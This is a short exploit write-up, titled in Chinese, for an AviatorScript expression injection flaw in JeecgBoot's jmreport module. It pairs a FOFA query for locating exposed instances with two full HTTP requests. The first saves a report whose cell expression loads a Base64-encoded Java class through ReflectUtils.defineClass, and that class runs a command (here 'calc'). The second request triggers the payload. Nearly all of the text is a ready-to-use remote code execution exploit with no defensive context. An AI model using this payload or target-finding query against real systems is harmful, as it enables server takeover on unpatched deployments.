JeecgBoot系统AviatorScript表达式注入漏洞
fofa
body="jeecg-boot"
poc
POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1
Host: 192.168.37.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 3456
{
"loopBlockList": [],
"area": false,
"printElWidth": 718,
"excel_config_id": "980882669965455363",
"printElHeight": 1047,
"rows": {
"4": {
"cells": {
"4": {
"text": "=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('test', Base64Utils.decodeFromString('yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA=='), ClassLoader.getSystemClassLoader());)",
"style": 0
}
},
"height": 25
},
"len": 96,
"-1": {
"cells": {
"-1": {
"text": "${gongsi.id}"
}
},
"isDrag": true
}
},
"dbexps": [],
"toolPrintSizeObj": {
"printType": "A4",
"widthPx": 718,
"heightPx": 1047
},
"dicts": [],
"freeze": "A1",
"dataRectWidth": 701,
"background": false,
"name": "sheet1",
"autofilter": {},
"styles": [
{
"align": "center"
}
],
"validations": [],
"cols": {
"4": {
"width": 95
},
"len": 50
},
"merges": [
"E4:F4",
"B4:B5",
"C4:C5",
"D4:D5",
"G4:G5",
"H4:H5",
"I4:I5",
"D1:G1",
"H3:I3"
]
}
POST /jeecg-boot/jmreport/show?previousPage=xxx&jmLink=YWFhfHxiYmI= HTTP/1.1
Host: 192.168.37.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 42
{
"id": "980882669965455363"
}
